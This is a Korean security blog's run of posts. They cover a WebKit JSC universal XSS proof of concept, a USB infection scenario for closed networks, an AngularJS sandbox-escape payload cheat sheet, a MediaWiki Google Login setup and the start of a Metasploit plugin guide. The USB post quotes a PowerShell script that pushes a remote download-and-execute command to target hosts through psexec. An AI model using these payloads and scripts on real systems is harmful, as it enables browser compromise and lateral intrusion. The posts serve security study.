7/27/2017

[WEB HACKING] WebKit JSC 취약점을 통한 SOP 우회(WebKit base browser XSS Technique)

요즘 Google Project-zero가 WebKit JSC를 열심히 까고있습니다. 6월부터 오늘까지 WebKit JSC에서만 12개의 이슈가 보고되었죠.

2017-07-25 WebKit JSC - 'arrayProtoFuncSplice' Uninitialized Memory Reference Google Secu...
2017-07-25 WebKit JSC - 'ObjectPatternNode::appendEntry' Stack Use-After-Free Google Secu...
2017-07-25 WebKit JSC - 'ArgumentsEliminationPhase::transform' Incorrect LoadVarargs Handling Google Secu...
2017-07-25 WebKit JSC - 'DFG::ByteCodeParser::flush(InlineStackEntry* inlineStackEntry)' Incorrect Scope Register Hand... Google Secu...
2017-07-25 WebKit JSC - 'JSArray::appendMemcpy' Uninitialized Memory Copy Google Secu...
2017-06-01 WebKit JSC - 'JSObject::ensureLength' ensureLengthSlow Check Failure Google Secu...
2017-06-16 WebKit JSC - arrayProtoFuncSplice does not Initialize all Indices Google Secu...
2017-06-16 WebKit JSC - Heap Buffer Overflow in Intl.getCanonicalLocales Google Secu...
2017-06-01 WebKit JSC - Incorrect Check in emitPutDerivedConstructorToArrowFunctionContextScope Google Secu...
2017-06-16 WebKit JSC - JIT Optimization Check Failed in IntegerCheckCombiningPhase::handleBlock Google Secu...
2017-06-16 WebKit JSC - JSGlobalObject::haveABadTime Causes Type Confusions Google Secu...

그 중 어제 날짜로 올라온 "WebKit JSC - 'JSObject::putInlineSlow and JSValue::putToPrimitive' Universal Cross-Site Scripting"에 대한 이야기를 할까합니다.


Project-zero를 통해 제보되었던 이 이슈는 Web browser의 내부의 Origin 정책인 SOP(Same Origin Policy)에 대해 우회가 가능합니다.
이전에 AngularJS Sandbox Escape 관련해서 글썼었는데, 그떄 언급했던 constructor를 통해 SOP 로직을 우회한 것 같네요.
{{constructor.constructor('alert(45)')()}} // 이런형태, 아래 링크 참조
(http://www.hahwul.com/2017/07/web-hacking-angularjs-sandboxdom-based.html)

What is WebKit JSC?

JSC는 JavaScriptCore의 약자로 Webkit에 포함된 자바스크립트 엔진 중 하나입니다.
JSC는 ommand line 기반으로 사용되지만 웹 브라우저 자체에 이식되어 엔진으로서의 역할도 수행하게됩니다. 우리가 많이 보는 브라우저에도 이런 엔진들이 들어가있죠. 오늘 볼 취약점은 WebKit JSC 엔진을 쓰는 브라우저(대표적으로 Safari!)가 영향을 받는 기법이며 이후 XSS 취약점 분석 시 어느정도 활용해볼 수 있습니다. (그놈의 정책과 Sandbox =_=)

getPrototype and getPrototypeDirect.. Why vulnerable?

JSObject::putInlineSlow, JSValue::putToPrimitive는 객체의 프로토타입을 가져오기 위해 getPrototypeDirect를 사용합니다. 일반적으로는 getProtoType을 사용하죠. 중요한점이 있다면 getPrototype인 JSDOMWindow::getPrototype에선 Origin에 대해 검증하는 로직이 있지만 이와 별개인 getPrototypeDirect에선 별도로 검증하지 않는점입니다. 그로인해 Origin 정책을 무시하고 코드가 동작할 수 있게되죠.

JSObject.h 일부 - Code 부분
inline JSValue JSObject::getPrototypeDirect() const
{
    return structure()->storedPrototype();
}

inline JSValue JSObject::getPrototype(VM& vm, ExecState* exec)
{
    auto getPrototypeMethod = methodTable(vm)->getPrototype;
    MethodTable::GetPrototypeFunctionPtr defaultGetPrototype = JSObject::getPrototype;
    if (LIKELY(getPrototypeMethod == defaultGetPrototype))
        return getPrototypeDirect();
    return getPrototypeMethod(this, exec);
}

JSObject.h 일부 - Description 부분
JS_EXPORT_PRIVATE static JSValue getPrototype(JSObject*, ExecState*);
    // This gets the prototype directly off of the structure. This does not do
    // dynamic dispatch on the getPrototype method table method. It is not valid
    // to use this when performing a [[GetPrototypeOf]] operation in the specification.
    // It is valid to use though when you know that you want to directly get it
    // without consulting the method table. This is akin to getting the [[Prototype]]
    // internal field directly as described in the specification.

JSValue getPrototypeDirect() const;
    // This sets the prototype without checking for cycles and without
    // doing dynamic dispatch on [[SetPrototypeOf]] operation in the specification.
    // It is not valid to use this when performing a [[SetPrototypeOf]] operation in
    // the specification. It is valid to use though when you know that you want to directly
    // set it without consulting the method table and when you definitely won't
    // introduce a cycle in the prototype chain. This is akin to setting the
    // [[Prototype]] internal field directly as described in the specification.
    JS_EXPORT_PRIVATE void setPrototypeDirect(VM&, JSValue prototype);


정리하자면..

 - SOP는 모든 행위에서 정책이 적용되어야 한다
 - 그러나 getPrototypeDirect의 경우 SOP를 적용받지 않는다
 - SOP를 우회할 수 있다면 XSS에서 영향력 없던 부분들을 끌어낼 수 있다

getPrototype과 getPrototypeDirect는 동작에 있어서 약간의 차이가 있습니다.
물론 각각 동작에 필요한 역할들이 있겟지만 getPrototypeDirect를 JS 코드단에서 호출시킬 수 있다면 검증 로직 없이 ProtoType에 대해 접근하게되고 이를 통해 SOP 정책 또한 건너뜁니다.

POC


<body>
<script>

let f = document.body.appendChild(document.createElement('iframe')); //iframe 생성!
let loc = f.contentWindow.location; //loc에 iframe의 contentWindow.location, 즉 주소 String을 넣어줌
f.onload = () => { // 먼저 호출되지는 않음 왜냐하면, 이땐 iframe의 src가 없기 때문에 저 아래 f.src 구문으로 넘어감
    let a = 1.2; // [2] 드디어 실행됨
    a.__proto__.__proto__ = f.contentWindow; // a의 prototype을 iframe의 contentWindow로 지정
    a['test'] = {toString: function () {
        arguments.callee.caller.constructor('alert(location)')();
        // callee는 arguments object의 속성입니다. 함수 내 실행중인 함수를 참조하는데 사용
        // 아무튼 constructor를 통해 생성자 지정, 이 때 동작할 script 구문이 들어감
    }};
};
f.src = 'data:text/html,' + `<iframe></iframe><script>
Object.prototype.__defineSetter__('test', v => {
    'a' + v;
});

</scrip` + `t>`;
// [1] data: 구문으로 f(iframe)의  src를 또 다른 iframe과 script 구문으로 채움, [2]로 넘어감

</script>
</body>
흐름이 완성되면 constructor를 통해 집어넣은 생성자로 인해 함수가 실행되고 그 함수는 SOP의 적용을 받지 않는 스크립트 구문이 됩니다.

Conclusion

올해 초(?) Firefox쪽에 XSS 관련해서 제보한 내용이 있었습니다만, SOP로 인한 Sandbox 때문에 간단한 버그상태로 남아있는 이슈가 있습니다. 오늘 포스팅한 내용은 대체로 iOS(사파리)에 한정이겠지만 잘 활용해보면 firefox나 chrome 에서도 SOP나 SandBox를 넘어갈 수 있는 방법이 나올 수 있겠네요.

최근 SOP,SandBox 우회기법이 간간히 나옵니다. 이를 막기 위해선 더욱 강력한 정책이나 로직이 나오면 좋겠지만, 이는 사용성과 직접적으로 연관되는 부분이기 떄문에 긍정적일 수 있을지 모르겠습니다. (SOP때문에 JSONP가 생겨났죠)

Reference

https://www.exploit-db.com/exploits/42378/
https://trac.webkit.org/wiki/JSC
https://ko.wikipedia.org/wiki/웹킷
https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Functions/arguments/callee
http://www.hahwul.com/2017/07/web-hacking-angularjs-sandboxdom-based.html
Share: | Coffee Me:

7/22/2017

[CODING] MediaWiki 에 Google Login 연동하기(Interoperability GoogleLogin)

MediaWiki 내 Google Login 연동과정 중 있었던 내용을 정리할겸 포스팅 작성합니다.
구글 로그인 연동을 하게되면 로그인 과정이 간단해질뿐만 아니라 SSL 미 적용 시 보안적으로도 이점이 있습니다.

MediaWIki는 기본적으로 JS단 난독화 없이 평문으로 전송되기 때문에 SSL이 적용되있지 않다면 스니핑을 통해 쉽게 패스워드 획득이 가능합니다.


다만 타 로그인 사용 시 해당 서비스의 API를 이용하기 때문에 직접적인 패스워드가 노출되지는 않습니다. 물론 양쪽 다 SSL이 적용되어있지 않으면 궁극적으론 취약합니다. (이런 경우 수두룩하게 봄)

다만 난이도가 아주 쉬움에서 보통으로 올라갈뿐이죠. 아무튼 조금이라도 튼튼하고, 편리하게 쓰기 위한 로그인 연동 과정을 시작해보도록 하죠.

Google API 설정하기

구글 API에서 Google+ 관련 항목을 사용하시면 OAuth를 통해 로그인 연동이 가능해집니다. 가장 첫 단추로 google api 쪽 세팅이 먼저 필요합니다.

아래 링크 참고하셔서 콘솔로 들어가주신 후 사용자 인증정보(OAuth) 생성으로 접근합니다.

https://console.developers.google.com/


다음 웹 어플리케이션(Web Application) 으로 생성합니다.
(MediaWiki 는 웹 기반이기 떄문, 혹시라도 다른 플랫폼에서 연동하시는거면 맞춰서 진행 필요)


완료되면 인증키와 비밀키 2가지를 리턴해줍니다. 잘 메모(그냥 창을 냅둬도 되고, 나중에 볼 수 있으니 그냥 닫아도 되고, 외우셔도 되고..) 해둡니다.

Install GoogleLogin Extension

OAuth API를 생성해두었으니 MediaWiki에 Extension을 달아 Google Login을 진행해봅시다. 아래 링크(공식 Extension)를 통해서 자신의 MediaWIki 버전에 맞는 Extension을 받아줍니다. 링크타고 들어가서 버전 선택하시면 다운로드 가능하죠.

https://www.mediawiki.org/wiki/Special:ExtensionDistributor/GoogleLogin

다운로드가 완료되면 Wiki 디렉토리 내 Extension에 풀어서 넣어줍니다.


Edit LocalSettings.php

거의 다 완료되었습니다. 이제 Extension 사용을 위해 LocalSettings.php에서 Extension을 로드하고 관련 데이터를 작성합니다.
#> vim LocalSettings.php
require_once 'autoload.php'; # 각각 개인의 autoload.php의 위치
require_once "$IP/extensions/GoogleLogin/GoogleLogin.php"; #Extension 내 GoogleLogin.php의 위치
$wgGLAppId = 'Your ClientID';   #아까 OAuth를 통해 만든 ID
$wgGLSecret = 'Your SecretKey'; #아까 OAuth를 통해 만든 Secret Key
작성 후 update를 통해 DB 반영까지 진행합니다.
#> php update.php

물론 마지막에도 이슈가 있어 직접 DB 쿼리로 처리했네요. 아래 Troubleshotting에서..

TroubleShotting

물론 진행 중 여러가지 문제가 발생할 수 있습니다. 저에게서 나온 몇가지 사항부터 기록해봅니다.

1. update.php 없이 진행하기(DB쿼리 편집 및 실행)

제 테스트환경에선 terminal 에서 php 실행이 불가능하여 직접 DB에 입력하는 방법을 사용하였습니다.
GoogleLogin Extension 하위 경로에서 includes > sql 로 들어갑니다.

#> cd [your_wiki_dir]/extensions/GoogleLogin/includes/sql
#> ls

user_google_user.sql  user_google_user_user_id_index.sql

각각 sql 파일을 열어보시면..
--
-- extension Google Login SQL schema
--
CREATE TABLE /*$wgDBprefix*/user_google_user (
  user_googleid DECIMAL(25,0) unsigned NOT NULL PRIMARY KEY,
  user_id int(10) unsigned NOT NULL,
  KEY(user_id)
) /*$wgDBTableOptions*/;
와 같은 형태입니다.

우리는 php 를 통해 실행하지 않기 때문에 몇가지 사항만 수정해주면 됩니다.
--
-- extension Google Login SQL schema
--
use yourdb; --일단 db부터 골라야겠지요. 


CREATE TABLE user_google_user (  --아 명칭이 가물가물하네요.. 각 테이블 앞에붙는 명시자가 있는 경우 붙여서 작성합니다.
  user_googleid DECIMAL(25,0) unsigned NOT NULL PRIMARY KEY,
  user_id int(10) unsigned NOT NULL,
  KEY(user_id)
) ENGINE=InnoDB DEFAULT CHARACTER SET=utf8; -- 혹시 db 세팅이 있다면 같이 넣어주고요.

sql 명령으로 db 쿼리를 실행합니다.
(http://www.hahwul.com/2016/06/debian-linux-terminal-sql-execute-sql.html)

#> mysql -u [yourid] -p < user_google_user.sql
user_google_user_user_id_index.sql 이 친구도 유사하게 편집 후 실행합니다.

#> mysql -u [yourid] -p < user_google_user_user_id_index.sql

2. Google에서 Redirect URL이 잘못되었다고 나타난경우

이 경우 로그인 페이지에서 로그인 후 넘어가는 URL을 Redirect 허용 URL에 넣어줍니다. 요청 중 URL이 바뀌어버리는 경우가 있어 추가로 몇개 더 등록해주시면 편합니다.

Reference

https://www.mediawiki.org/wiki/Manual:Upgrading/ko
https://zetawiki.com/wiki/%EB%AF%B8%EB%94%94%EC%96%B4%EC%9C%84%ED%82%A4_GoogleLogin_%ED%99%95%EC%9E%A5%EA%B8%B0%EB%8A%A5_%EC%84%A4%EC%B9%98
http://www.hahwul.com/2016/06/debian-linux-terminal-sql-execute-sql.html
Share: | Coffee Me:

7/15/2017

[HACKING] Closed network infection scenario and Detecting hidden networks (Using USB/Exploit)

어제 EDB를 둘러보던 중 재미있는 문서를 보았는데요. 여러가지 생각을 해보다보니 포스팅으로 작성할만한 것 같아 글을써봅니다.

오늘은 USB와 LNK Exploit을 이용해서 폐쇄망에 침투/감염 시나리오와 Powershell trick과 USB를 이용해 네트워크 구성, 더 상세하겐 내부에서 사용되는 USB의 흐름을 보는 이야기로 준비해보았습니다.

LNK Remote Code Execution(CVE-2017-8464)

CVE-2017-8464(LNK Remote Code Execution) 는 올 6월 발표된 따끈따끈한 취약점니다.
코드가 삽입된 아이콘 파일은 윈도우 탐색기가 읽는(보는) 순간 임의의 코드 실행이 가능합니다. 물론 공격코드나 분석에 대한 정보가 없어 해당 내용으로 이야기를 깊게 풀기는 조금 어려울 것 같습니다.

다만 중국에 demonsec(demonsec666)이 올린 포스팅과 youtube 찾아보시면 조금은 도움되지 않을까 싶네요.  정확히 8464는 아닌 것 같지만.. (제 입장에서 중국어는 구글 번역에만 의존해야하니 넘 어렵군요)

아이콘을 통해 감염이나 공격에 성공할 수 있는점은 아주 놀랍고 활용성도 굉장히 높습니다. 아이콘 파일을 탐색기에서 로드하는 순간 임의 코드 실행이 가능하기 때문에 아이콘을 전파할 수 있는 경로라면 모두 실행이 가능하고 일반적인 네트워크가 없는 경우에도 블루투스, 비콘, USB 등 아이콘을 전송할 수 있는 포인트는 많이 있습니다. 그중에서도 USB는 아주 치명적이겠죠.
(USB를 연결하는 경우 대다수가 탐색기를 켤 것 같네요)

EDB에서 봤던 문서에서는 네트워크 내 디바이스들의 USB를 정보를 수집하는 코드로 나와있고 저런 취약점을 같이 활용한다면 망이 분리되고 USB를 통해 연결할 수 있는 폐쇄망까지 노려볼 수 있는 좋은 루트가 되겠죠.

Infection scenario

우리는 LNK Remote Code Execution 취약점을 이용하면 USB와 같이 여러 매체를 이용해서 공격코드를 실행하거나 악성코드를 전파할 수 있습니다.
간단하죠..

Exploit 코드를 USB에 넣고 누군가 옮겨주길 기다리면 됩니다. USB를 연결하고 탐색기로 USB 내부를 보는순간 Exploit 코드는 동작하고 그 PC도 악성코드에 감염될 수 있죠.
폐쇄망 환경에선 인터넷 접근이 안되기 때문에 자료 이동에 불편함이 따릅니다. 그래서 여러가지 방법(임시로 네트워크 허용, 특정 디바이스만 허용, USB, CD  등등)으로 데이터를 이동시키죠.
물론 잠깐이여도 네트워크는 연결하는 순간 폐쇄망으로서의 가치를 잃겠지만, 사용성이라는 측면도 보안만큼 중요하게 따라오기 때문에 이런 정책을 사용하는 네트워크도 있을거라 봅니다.


그럼 어떻게 PC의 USB를 식별하고 연결할 수 있는지 알아보겠습니다.

Windows에서의 USB Devices 연결


Windows에서 USB 연결 시 많은 정보가 PC에 저장됩니다. 대표적으로는 USBSTOR 가 있습니다.
USBSTOR는 레지스트리 속성이며 연결된 USB 장치에 대한 많은 정보가 있습니다.
(HKEY_LOCAL_MACHINE\SYSTEM\ControlSet\Enum\USBSTOR)

• Device name.
• Class.
• ClassGUID.
• HardwareID.
• Service provided by the device(e.g hdd)
• Driver.
• Etc.

등등..

우리는 Powershell을 이용해서 정보를 조금 더 쉽게 뽑아낼 수 있습니다.

PS C:\Users\Administrator> Get-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Enum\USBSTOR\*\* |
Select FriendLyName,ContainerID
FriendlyName                                      ContainerID
------------                                      -----------
General USB Flash Disk USB Device                 {1a78c41b-a11e-5e94-91ed-a180a52f30b2}
Generic Flash Disk USB Device                     {5d411558-71b7-5027-9bc1-482c1e9a1efb}
Generic Mass Storage USB Device                   {70022a7c-191e-5cc7-a43f-50a79c9fd86c}
JetFlash Transcend 4GB USB Device                 {ff19f1ee-f700-5974-9c3e-79f005c62ae6}
LGE USB Drive USB Device                          {ff56e034-3e59-5b0b-a7a8-9d5f40163929}
LGE USB Drive USB Device                          {45a0779e-a5f2-50b1-a9bd-3c64b624956f}
MARSHAL MAL2250SA-T54 USB Device                  {c52af4c1-378a-5197-ad57-020de3fb8535}
SanDisk Ultra Fit USB Device                      {47853ea7-57bf-5b16-b7a8-d622dda7758b}
SMI USB DISK USB Device                           {165c607f-85ad-50c5-9a15-300d186b8bee}
TERA U-80 USB Device                              {e5baf658-a1ea-5f00-a374-503b9c841ab8}
USB Flash Drive USB Device                        {98651877-37f6-5be5-a4f2-5cdda58d0755}
Ut165 USB2FlashStorage USB Device                 {029a53d5-5f1c-5864-b787-c93a5f8f0b13}

요런식으로 장비 이름과 ContainerID를 추출할 수 있죠.
추가로 C:\Windows\inf\setupapi.dev.log 를 보시면 USB 연결 이력에 대한 많은 정보들을 획득할 수 있습니다.

setupapi.dev.log file!

script run output

그러면.. LNK Remote Exploit 과 USB 정보를 읽는 Posershell 스크립트라면 폐쇄망에 접근할 수 있는 가능성이 높아지겠군요!
자 그럼 조금 더 활용해서 전체 네트워크와 USB의 관계를 알아보겠습니다.

Network&USB 정보 수집을 위한 PowerShell Script

USB 연결정보에 대해 알았으니 특정 USB 디바이스를 식별하는건 어렵지 않고, 다른 장치가 아닌 저장장치를 통해 전파하는 것도 어렵지 않겠죠.

PSexec를 활용하면 SMB를 통해 쉽게 Powershell script 를 네트워크로 전파할 수 있습니다. 이게 가능할 경우 별도로 악성코드 제작이 필요없죠.
(스크립트로만 동작할 수 있다면 분류에 따라 Fileless로도 볼 수 있겠군요)

아래 부분은 ElevenPaths가 작성한 코드(https://github.com/ElevenPaths/USBHiddenNetworks)입니다. PSexec를 이용해 SMB로 Powershell script, 즉 SMB를 이용해서 USB 정보를 수집하는 코드를 전파하는 내용을 담고있습니다.

# HiddenNetwork SMB / PSexec
# Don´t forget change paths to files

$computers = gc "C:\scripts\HiddenNetworks\PSExec\USBHiddenNetworks_for_SMB\servers.txt"  # 타겟의 주소가 들어갑니다.
$url = "http://TypeYourIPHere/RecollectUSBData.ps1"  # 여기엔 이 코드 다음에 받을 서버의 주소가 들어갑니다.
$sincro = 40   # 작업이 끝날때까지 기다려주기 위한 sleep 입니다.

foreach ($computer in $computers) {
    $Process = [Diagnostics.Process]::Start("cmd.exe","/c psexec.exe \\$computer powershell.exe -C IEX (New-Object Net.Webclient).Downloadstring('$url') >> C:\scripts\HiddenNetworks\PSExec\USBHiddenNetworks_for_SMB\usbdata.csv") 
    # [Diagnostics.Process]를 통해 cmd 를 실행하고 psexec.exe를 실행하여 타겟의 주소로 posershell 명령을 날립니다.
    #  여기서 Powsershell 명령 중 IEX 옵션이 보이는데요, Invoke-Expression cmdlet를 통해 타겟 서비스에서 바로 실행해줍니다.
    $id = $Process.Id      
    sleep $sincro  
    Write-Host "Process created. Process id is $id"
    taskkill.exe /PID $id
}

위 코드서 중요한건 3가지 정도 있습니다.
 1. psexec.exe가 AD(Active Directory)를 통해 명령을 던질 수 있다. 
   + 다만 SMB 통신을 하려면 PStool이 있어야하지만, AD서버 관리자 PC라면 이야기가 달라짐, 아주 쉽게 전파가 가능함
 2. powershell 명령의 인자 중 IEX 옵션은 Invoke-Expression를 의미하며 타겟에서 코드가 바로 실행되기 위해 포함시키죠.
 3. posershell 명령의 출력값은 특정 경로의 csv 파일로 저장합니다. 

두번째 코드(USB 데이터를 읽어오는 부분)을 보면 아래와 같습니다.

RecollectUSBData.ps1 

# HiddenNetworks
# SMB PSExec version
# Output USB data from local computer to CSV file
# 이 코드느 타겟에서 실행되는 코드입니다.

$USBDevices = @()
$USBContainerID = @()
$USBComputerName = @()
$USBComputerIP = @()
$SubKeys2        = @()
$USBSTORSubKeys1 = @()

$Hive   = "LocalMachine"
$Key    = "SYSTEM\CurrentControlSet\Enum\USBSTOR"

$ComputerName = $Env:COMPUTERNAME   # 해당 컴퓨터 이름을 읽어오고..
$ComputerIP = $localIpAddress=((ipconfig | findstr [0-9].\.)[0]).Split()[-1] # ip 정보를 읽어옵니다.

$Reg = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey($Hive,$Computer) # 그 다음 ...
$USBSTORKey = $Reg.OpenSubKey($Key) # 레지스트리를 열어 USBSTOR를 읽고 그 안의 값을 가져옵니다.
$nop=$false

Try {
    $USBSTORSubKeys1  = $USBSTORKey.GetSubKeyNames()
}
Catch
{
    Write-Host "Computer: ",$ComputerName -foregroundcolor "white" -backgroundcolor "red"
    Write-Host "No USB data found"
    $nop=$true
}

# USB searching for devices connected
if(-Not $nop)
{
    ForEach($SubKey1 in $USBSTORSubKeys1)
    {         
        $Key2 = "SYSTEM\CurrentControlSet\Enum\USBSTOR\$SubKey1"
        $RegSubKey2 = $Reg.OpenSubKey($Key2)
        $SubkeyName2 = $RegSubKey2.GetSubKeyNames()     
        $Subkeys2  += "$Key2\$SubKeyName2"
        $RegSubKey2.Close()   
           
    }


    ForEach($Subkey2 in $Subkeys2)
    { 
        $USBKey = $Reg.OpenSubKey($Subkey2)
        $USBDevice = $USBKey.GetValue('FriendlyName')
        $USBContainerID = $USBKey.GetValue('ContainerID')
   
        If($USBDevice)
        { 
            $USBDevices += New-Object -TypeName PSObject -Property @{
            USBDevice = $USBDevice
            USBContainerID = $USBContainerID
            USBComputerName= $ComputerName
            ComputerIP = $ComputerIP
            }  
        }
 
        $USBKey.Close()                  
    }
   
    # Output data to screen 

    for ($i=0; $i -lt $USBDevices.length; $i++) {   # Friendly Name, COntainerID 를 위에서 읽어온 후 Write-Host로 출력합니다.
        $IDUnico=$USBDevices[$i] | Select -ExpandProperty "USBContainerID"
        $USBNombre=$USBDevices[$i] | Select -ExpandProperty "USBDevice" 
        Write-Host "$ComputerName,$ComputerIP,$USBNombre,$IDUnico"      
    }
}

이 코드가 동작하면 각 host 에서 pc의 정보와 usb 정보가 출력되고, 이는 최초 실행 코드에서 (New-Object Net.Webclient).Downloadstring('$url') >> C:\scripts\HiddenNetworks\PSExec\USBHiddenNetworks_for_SMB\usbdata.csv") 코드를 통해
usbdata.csv 파일로 저장됩니다. 공격자는 순식간에 네트워크 정보와 USB 장치들관의 관계를 알 수 있습니다.

수집된 파일은 여러가지 방면으로 사용될 수 있겠네요. 곰곰히 생각해보니.. 특정 USB ContainerID가 여러 PC에서 찍힌다면 분명 돌고도는 USB 이거나 업무에 사용되는 USB로 볼 수 있겠죠. 시간을 투자한다면 네트워크 구성과 함께 USB Network의 구성도 볼 수 있겠네요.

빨간선이 USB 연결점 / 파란선이 감염점

Reference

http://www.elladodelmal.com/2017/06/brutal-kangaroo-y-la-infeccion-por-usb.html
https://www.exploit-db.com/docs/42318.pdf
https://github.com/ElevenPaths/USBHiddenNetworks
Share: | Coffee Me:

7/13/2017

[WEB HACKING] AngularJS sandbox(DOM based) escape technique

AngularJS는 웹 상에서 많이 사용되는 개발 프레임워크입니다. 이런 프레임워크에는 당연히 보안 로직, 정책이 들어가게되죠. 그 중에 대표적인 것은 바로 SandBox 입니다.

Sandbox 로 인해 우리는 성공한 공격이 영향력이 없어지는 진귀한 광경을 목격하게되죠.

많은 해커들은 버전별로 AngularJS sandbox를 우회하려 하였고 덕분에 각 버전별로 여러 사람이 만든 우회 루틴이 존재합니다.

Angular에서 sandbox 는 1.1.5 버전 이후로부터 적용되었고 sandbox, 즉 Angular Expression으로 인해 로컬영역으로 묶인 sandbox 밖에서 함수 호출이 실패하게 됩니다. 자주 사용하는 DOM 기반의 XSS에 영향을 줄 수 있는 부분이죠.

오늘은 AngularJS에 적용된 sandbox를 우회하는 방법들에 대해 이야기할까 합니다.



다만 Constructor 속성을 활용한다면 이야기가 달라집니다.

Constructor

constructor는 문자열에서 함수를 생성하고 실행할 수 있는 Function 생성자입니다.
새로운 Object를 선언하면 Constructor에 의해 생성이


아래 코드로 보면 String인 alrt(45) 가 함수 형태로 생성되어 실행되는 걸 알 수 있죠.

{{constructor.constructor('alert(45)')()}}

마치 ActionScript의 EternalInterface.call() 과 비슷한 역할이죠.

Escape Sandbox of AngularJS 1.6

이전 버전과는 다르게 오히려 최신버전에서는 아주 간단하게 우회가 가능합니다. 위에서 방금 이야기드린 constructor의 성격으로 인해 Sandbox 외부에서 함수 실행이 가능합니다.

constructor에도 생성자가 있습니다. 해당 생성자는 sandbox를 넘어섭니다.

constructor.constructor('alert(45)')()
그래서 위에 보여드렸던 코드로 쉽게 sandbox 우회가 가능합니다. 너무 간단해서.. 더 설명드릴게 없네요.
그럼 이전에는 어떤 방식으로 풀어나갔었는지 한번 볼까요?

Escape Sandbox of AngularJS 1.2

Angular에 적용된 초기버전의 sandbox는 ensureSafeMemberName() 함수를 통해 구현되었고 이 함수는 Javascript 속성에 위에서 말한 생성자(constructor)가 있는지 검사하는 로직을 가집니다.

function ensureSafeMemberName(name, fullExpression, allowConstructor) {
 if(name === "constructor" && !allowConstructor) {
   throw …
 }
 if(name.charAt(0) === '_' || name.charAt(name.length-1) === '_') {
   throw …
 }
 return name;
}
초기의 우회루틴은 아래와 같은 형태로 이루어졌습니다.

{{
a='constructor';
b={};
a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(45)')()
}}
임의의 변수에 constructor 라는 문자열 값을 저장한 후 Object를 이용하여 constructor를 불러오고 인자값으로 실제 실행할 함수 이름과 값을 넘겨 실행합니다.

typeof(a.sub.call.call)
"function"


getOwnPropertyDescriptor
 -> 객체 내 자신의 속성에 대한 descriptor를 반환

getPrototypeOf
 -> 객체의 [[Prototype]] 값을 반환

간단하게 요약하자면.. name의 문자열로 필터링을 하니 필터링 다른 변수에 속성값을 저장하고 로드해서 사용하는 식으로 우회된 케이스이지요. 물론 현재 이 방법은 패치가 되어있습니다. 1.2 버전 이하에서만 영향력이 있죠.

다만 우리는 우회했던 방법에 대해선 잘 파악해둬야합니다.

Escape Sandbox of AngularJS 1.4

여러 버전으로 업데이트 되면서 로직에 변화가 생기고 새로운 함수들이 나타났습니다.
1.4 버전에선 __proto__ 와 __defineSetter__ 를 통해 Sandbox 우회가 가능합니다.

__proto__는 Safari, IE11에서 전역 선언이 가능해집니다. sandbox는 지역선언이 된 object를 해당 지역 이외로 나가지 못하도록(정확히는 나가면 실행이 되지 않게 함) 하지만 기능으로 전역 사용이 가능한 것이 나오고 말았죠.

해커들은 이를 놓치지 않았습니다. __proto__ 를 이용해서 전역변수와 같이 해당 area 이외 구간으로 넘어갈 수 있으니 쉽게 Bypass가 가능합니다.

기존


{
  false.__proto__.hwul=Function;
  if(!false)false.hwul('alert(tata)')();
}
__proto__ 내 임의의 영역(코드에선 hwul)에 Function 을 집어넣고 x를 호출하여 익명함수로 만듭니다.

#> false.hwul
function Function() { [native code] }


#> false.hwul('alert(45)');
function anonymous() {
alert(45)
}

함수 형태로 넘겨주면.. 실행이 되니깐 정상적으로 alert() 함수가 실행됩니다. 물론 전역으로요.

#> false.hwul('alert(45)')();
undefined

Firefox 51에선 __lookupGetter__ 를 통해서 함수의 호출자를 얻을 수 있습니다. 이땐 Firefox만 가능했던 기능이죠.

위와 비슷한 맥락으로 __lookupGetter__ 를 이용해 함수 호출자를 얻은 후 location 을 javascript 구문으로 바꾸어 상위 영역에서 함수를 호출합니다.

o={};
l=o[['__lookupGetter__']];
(l=l)('event')().target.defaultView.location='javascript:alert(45)';
이런식으로 Javascript단에서의 SandBox 탈출이 가능하죠. (Angular 기준)

AngularJS Sandbox Escape cheatsheet


1.0.1 - 1.1.5 == works
constructor.constructor('alert(1)')()

1.2.0 - 1.2.18 == works
a='constructor';
b={};
a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()

1.2.19 - 1.2.23 == works
toString.constructor.prototype.toString=toString.constructor.prototype.call;
["a","alert(1)"].sort(toString.constructor);

1.2.24 - 1.2.29 == not working
'a'.constructor.prototype.charAt=''.valueOf;
$eval("x='\"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+\"'");

1.3.0 == not working (calls $$watchers)
!ready && (ready = true) && (
   !call
   ? $$watchers[0].get(toString.constructor.prototype)
   : (a = apply) &&
   (apply = constructor) &&
   (valueOf = call) &&
   (''+''.toString(
   'F = Function.prototype;' +
   'F.apply = F.a;' +
   'delete F.a;' +
   'delete F.valueOf;' +
   'alert(1);'
  ))
);

1.3.1 - 1.5.8 == not working (calls $eval)
'a'.constructor.prototype.charAt=''.valueOf;
$eval('x=alert(1)//'); 

1.6.0 > == works (sandbox gone)
constructor.constructor('alert(1)')()

Reference

http://blog.portswigger.net/2017/05/dom-based-angularjs-sandbox-escapes.html
https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertyDescriptor
https://muckycode.blogspot.kr/2015/04/javascript-constructor.html
Share: | Coffee Me:

[METASPLOIT] Writing Custom Plugin for metasploit

최근에 a2sv를 metasploit plugin으로 지원할 생각을 하고있습니다. 모듈 제작이 아닌 plugin 제작으론 경험이 거의 없기에.. 하나하나 찾아보면서 진행하기로 했죠.

겸사겸사 오늘은 간단히 msf plugin 작성법에 대해 메모할까 합니다. 당연히 ruby 기반 framework이기 때문에 ruby로 코딩하면 되고 작성 전 알아두어야 할 간단한 규칙들이 있습니다.

class Plugin::Sample < Msf::Plugin
class ConsoleCommandDispatcher

먼저 위 2개 클래스는 자주쓰이기 떄문에 짚고 넘어갑니다.
일단 class Plugin::Sample < Msf::Plugin 는 플러그인 자체의 클래스를 의미합니다. Sample 부분이 Plugin의 이름이 되겠지요.

두번째(class ConsoleCommandDispatcher)는 msf console command에 대한 제어 클래스입니다. 해당 클래스를 이용하여 코딩 시 msfconsole에서 사용하는 여러가지 기능을 쉽게 함수화하여 담을 수 있고 plugin 제작이라면 거의 필수로 들어가는 class 이죠.


class ConsoleCommandDispatcher 에는 몇가지 요소들이 담깁니다.
name에는 plugin의 이름이 들어갑니다. Dispatcher에 들어간 name은 콘솔상에서 나타낼 이름입니다.

def name
 "My Name"
end
